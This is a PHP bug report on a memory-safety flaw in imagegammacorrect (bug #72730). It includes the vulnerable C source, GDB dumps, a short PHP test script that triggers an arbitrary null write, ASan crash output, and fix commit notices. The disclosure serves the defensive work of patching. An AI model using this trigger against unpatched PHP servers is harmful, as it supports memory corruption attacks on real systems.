go to bug id or search bugs for
New Comment:
Description: ------------ Description: ------------ imagegammacorrect accepts two gamma values, if they don't have the same sign then the palette colors will be assigned values bigger than 0xFF, later this values are used to calculate the transparent color using the gdTrueColorAlpha macro, and a negative value will be assigned to the transparent color. This negative value is used as an index and allows writing an arbitrary null, similar to bug #72512 This doesn't affect libgd upstream, gamma correction is only implemented in PHP. Possible fix ------------ Don't accept negative values on imagegammacorrect Details ------- Source code: https://github.com/php/php-src/blob/master/ext/gd/gd.c#L3024 PHP_FUNCTION(imagegammacorrect) { zval *IM; gdImagePtr im; int i; double input, output; if (zend_parse_parameters(ZEND_NUM_ARGS(), "rdd", &IM, &input, &output) == FAILURE) { return; } if ((im = (gdImagePtr)zend_fetch_resource(Z_RES_P(IM), "Image", le_gd)) == NULL) { RETURN_FALSE; } if (gdImageTrueColor(im)) { int x, y, c; for (y = 0; y < gdImageSY(im); y++) { for (x = 0; x < gdImageSX(im); x++) { c = gdImageGetPixel(im, x, y); gdImageSetPixel(im, x, y, gdTrueColorAlpha( (int) ((pow((pow((gdTrueColorGetRed(c) / 255.0), input)), 1.0 / output) * 255) + .5), (int) ((pow((pow((gdTrueColorGetGreen(c) / 255.0), input)), 1.0 / output) * 255) + .5), (int) ((pow((pow((gdTrueColorGetBlue(c) / 255.0), input)), 1.0 / output) * 255) + .5), gdTrueColorGetAlpha(c) ) ); } } RETURN_TRUE; } for (i = 0; i < gdImageColorsTotal(im); i++) { im->red[i] = (int)((pow((pow((im->red[i] / 255.0), input)), 1.0 / output) * 255) + .5); im->green[i] = (int)((pow((pow((im->green[i] / 255.0), input)), 1.0 / output) * 255) + .5); im->blue[i] = (int)((pow((pow((im->blue[i] / 255.0), input)), 1.0 / output) * 255) + .5); } RETURN_TRUE; } The line that calculates the rgb values generates a value bigger than 255, let's analyze red for example: im->red[i] = (int)((pow((pow((im->red[i] / 255.0), input)), 1.0 / output) * 255) + .5); This formula is: [[r/255] ^ input ] ^ (1 / output) [r/255] ^ (input / output) If one of these two is negatives then it becomes: [255/r] ^ (input / output) We control r, input and output, and we can make the new value bigger than 255. GDB output ---------- Before imagegamacorrect: Breakpoint 5, gdImageTrueColorToPaletteBody (oim=0x7fffef678000, dither=<optimized out>, colorsWanted=<optimized out>, cimP=0x0) at /home/operac/php-70/ext/gd/libgd/gd_topal.c:2015 2015 oim->tpixels = 0; gdb-peda$ p *oim $2 = { pixels = 0x7fffef6730f0, sx = 0x1, sy = 0x1, colorsTotal = 0x2, red = {0x4, 0xb, 0x0 <repeats 254 times>}, green = {0x2, 0xc, 0x0 <repeats 254 times>}, blue = {0x4, 0xd, 0x0 <repeats 254 times>}, open = {0x0 <repeats 256 times>}, transparent = 0x1, polyInts = 0x0, polyAllocated = 0x0, brush = 0x0, tile = 0x0, brushColorMap = {0x0 <repeats 256 times>}, tileColorMap = {0x0 <repeats 256 times>}, styleLength = 0x0, stylePos = 0x0, style = 0x0, interlace = 0x0, thick = 0x1, alpha = {0x0, 0x7f, 0x0 <repeats 254 times>}, trueColor = 0x0, tpixels = 0x7fffef673050, alphaBlendingFlag = 0x1, antialias = 0x0, saveAlphaFlag = 0x0, AA = 0x0, AA_color = 0x0, AA_dont_blend = 0x0, AA_opacity = 0x7fffef673078, AA_polygon = 0x0, AAL_x1 = 0x0, AAL_y1 = 0x0, AAL_x2 = 0x0, AAL_y2 = 0x0, AAL_Bx_Ax = 0x0, AAL_By_Ay = 0x0, AAL_LAB_2 = 0x0, AAL_LAB = 0, cx1 = 0x0, cy1 = 0x0, cx2 = 0x0, cy2 = 0x0, interpolation_id = GD_BILINEAR_FIXED, interpolation = 0x0 } gdb-peda$ c After gammacorrect: Breakpoint 3, gdImagePaletteToTrueColor (src=0x7fffef678000) at /home/operac/php-70/ext/gd/libgd/gd.c:3107 3107 if (src == NULL) { gdb-peda$ p *src $3 = { pixels = 0x7fffef6730f0, sx = 0x1, sy = 0x1, colorsTotal = 0x2, red = {0x100, 0x100, 0x0 <repeats 254 times>}, // colors palette > 0xff green = {0x100, 0x100, 0x0 <repeats 254 times>}, blue = {0x100, 0x100, 0x0 <repeats 254 times>}, open = {0x0 <repeats 256 times>}, transparent = 0x1, polyInts = 0x0, polyAllocated = 0x0, brush = 0x0, tile = 0x0, brushColorMap = {0x0 <repeats 256 times>}, tileColorMap = {0x0 <repeats 256 times>}, styleLength = 0x0, stylePos = 0x0, style = 0x0, interlace = 0x0, thick = 0x1, alpha = {0x0, 0x7f, 0x0 <repeats 254 times>}, trueColor = 0x0, tpixels = 0x0, alphaBlendingFlag = 0x1, antialias = 0x0, saveAlphaFlag = 0x0, AA = 0x0, AA_color = 0x0, AA_dont_blend = 0x0, AA_opacity = 0x7fffef673078, AA_polygon = 0x0, AAL_x1 = 0x0, AAL_y1 = 0x0, AAL_x2 = 0x0, AAL_y2 = 0x0, AAL_Bx_Ax = 0x0, AAL_By_Ay = 0x0, AAL_LAB_2 = 0x0, AAL_LAB = 0, cx1 = 0x0, cy1 = 0x0, cx2 = 0x0, cy2 = 0x0, interpolation_id = GD_BILINEAR_FIXED, interpolation = 0x0 } ... After imagepalettetotruecolor: Breakpoint 4, php_gd_gdImageTrueColorToPalette (im=0x7fffef678000, dither=0x1, colorsWanted=0xa) at /home/operac/php-70/ext/gd/libgd/gd_topal.c:1767 1767 { gdb-peda$ p *im $4 = { pixels = 0x0, sx = 0x1, sy = 0x1, colorsTotal = 0x2, red = {0x100, 0x100, 0x0 <repeats 254 times>}, green = {0x100, 0x100, 0x0 <repeats 254 times>}, blue = {0x100, 0x100, 0x0 <repeats 254 times>}, open = {0x0 <repeats 256 times>}, transparent = 0x80010100, // transparent > 0x7fffffff (negative) polyInts = 0x0, polyAllocated = 0x0, brush = 0x0, tile = 0x0, brushColorMap = {0x0 <repeats 256 times>}, tileColorMap = {0x0 <repeats 256 times>}, styleLength = 0x0, stylePos = 0x0, style = 0x0, interlace = 0x0, thick = 0x1, alpha = {0x0, 0x7f, 0x0 <repeats 254 times>}, trueColor = 0x1, tpixels = 0x7fffef673050, alphaBlendingFlag = 0x0, antialias = 0x0, saveAlphaFlag = 0x1, AA = 0x0, AA_color = 0x0, AA_dont_blend = 0x0, AA_opacity = 0x7fffef673078, AA_polygon = 0x0, AAL_x1 = 0x0, AAL_y1 = 0x0, AAL_x2 = 0x0, AAL_y2 = 0x0, AAL_Bx_Ax = 0x0, AAL_By_Ay = 0x0, AAL_LAB_2 = 0x0, AAL_LAB = 0, cx1 = 0x0, cy1 = 0x0, cx2 = 0x0, cy2 = 0x0, interpolation_id = GD_BILINEAR_FIXED, interpolation = 0x0 } gdb-peda$ p/d im->transparent $6 = -2147417856 ----------------------------------------- ... https://github.com/php/php-src/blob/dda0ea9b3af0c392be8d850ccdbe8a1bfa2badb6/ext/gd/libgd/gd.c#L3155 int gdImagePaletteToTrueColor(gdImagePtr src) { ... if (src->transparent >= 0) { const unsigned char c = src->transparent; src->transparent = gdTrueColorAlpha(src->red[c], src->green[c], src->blue[c], src->alpha[c]); } ... https://github.com/php/php-src/blob/1c295d4a9ac78fcc2f77d6695987598bb7abcb83/ext/gd/libgd/gd.h#L541 #define gdTrueColorAlpha(r, g, b, a) (((a) << 24) + \ ((r) << 16) + \ ((g) << 8) + \ (b)) 7f000000 alpha 1000000 red 10000 green 100 blue ----------------- 80010100 This is the negative color that was assigned to transparent. Test script: --------------- <?php $img = imagecreatetruecolor(1, 1); imagecolortransparent($img, 0x0a0b0c0d); # if color >= 0 -> img->transparent = 0x0a0b0c0d imagetruecolortopalette($img, true, 10); # if transparent >=0 -> r[i]=0x0b g[i]=0x0c b[i]=0x0d; a[i] = gdAlphaTransparent (0x7f); img->transparent = i imagegammacorrect($img, -1, 1337); # rgb becomes negative => (int)((pow((pow((im->red[i] / 255.0), input)), 1.0 / output) * 255) + .5); imagepalettetotruecolor($img); # if transparent >=0 const unsigned char c = src->transparent; src->transparent = gdTrueColorAlpha(src->red[c], src->green[c], src->blue[c], src->alpha[c]); imagetruecolortopalette($img, true, 10); # if transparent >=0 => r[i]=0x0b g[i]=0x0c b[i]=0x0d; a[i] = gdAlphaTransparent (0x7f); img->transparent = i imagecolortransparent($img, 0); # if color >=0 && color < colorsTotal => im->alpha[im->transparent] = gdAlphaOpaque (0x0); Expected result: ---------------- No crash Actual result: -------------- ASan output: ASAN:SIGSEGV ================================================================= ==7112==ERROR: AddressSanitizer: SEGV on unknown address 0x7f96b96b9c50 (pc 0x00000098c960 bp 0x7ffcb18d91e0 sp 0x7ffcb18d91e0 T0) #0 0x98c95f in php_gd_gdImageColorTransparent /home/operac/php-70/ext/gd/libgd/gd.c:609 #1 0x95b50c in zif_imagecolortransparent /home/operac/php-70/ext/gd/gd.c:3311 #2 0x1da38da in ZEND_DO_ICALL_SPEC_HANDLER /home/operac/php-70/Zend/zend_vm_execute.h:586 #3 0x1b4c335 in execute_ex /home/operac/php-70/Zend/zend_vm_execute.h:414 #4 0x1df9dc8 in zend_execute /home/operac/php-70/Zend/zend_vm_execute.h:458 #5 0x194764a in zend_execute_scripts /home/operac/php-70/Zend/zend.c:1427 #6 0x16b8347 in php_execute_script /home/operac/php-70/main/main.c:2494 #7 0x1e02126 in do_cli /home/operac/php-70/sapi/cli/php_cli.c:974 #8 0x467378 in main /home/operac/php-70/sapi/cli/php_cli.c:1344 #9 0x7f98bf19382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #10 0x467a48 in _start (/ramdisk/php-fuzz/phuzzer/php-70/sapi/cli/php+0x467a48) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/operac/php-70/ext/gd/libgd/gd.c:609 php_gd_gdImageColorTransparent ==7112==ABORTING
Add a Patch
Add a Pull Request
Fixed in 047fe0ed03093a496691d376fcf51a7e2f1d04b0 and https://gist.github.com/8d67aca5d29866ca35b16c80bbe01c4f please verify
Automatic comment on behalf of stas Revision: http://git.php.net/?p=php-src.git;a=commit;h=1bd103df00f49cf4d4ade2cfe3f456ac058a4eae Log: Fix bug #72730 - imagegammacorrect allows arbitrary write access
Automatic comment on behalf of stas Revision: http://git.php.net/?p=php-src.git;a=commit;h=e70069a62fb7252252cad9506fac5baf4ac11d21 Log: Fix bug #72730 - imagegammacorrect allows arbitrary write access
Automatic comment on behalf of stas Revision: http://git.php.net/?p=php-src.git;a=commit;h=bab470f6ba67f5b2e83d8152ae9adee5161a975e Log: Fix bug #72730 - imagegammacorrect allows arbitrary write access
Automatic comment on behalf of stas Revision: http://git.php.net/?p=php-src.git;a=commit;h=229782c0ada4d7e72dba6327cc7dff889ce7d92f Log: Fix bug #72730 - imagegammacorrect allows arbitrary write access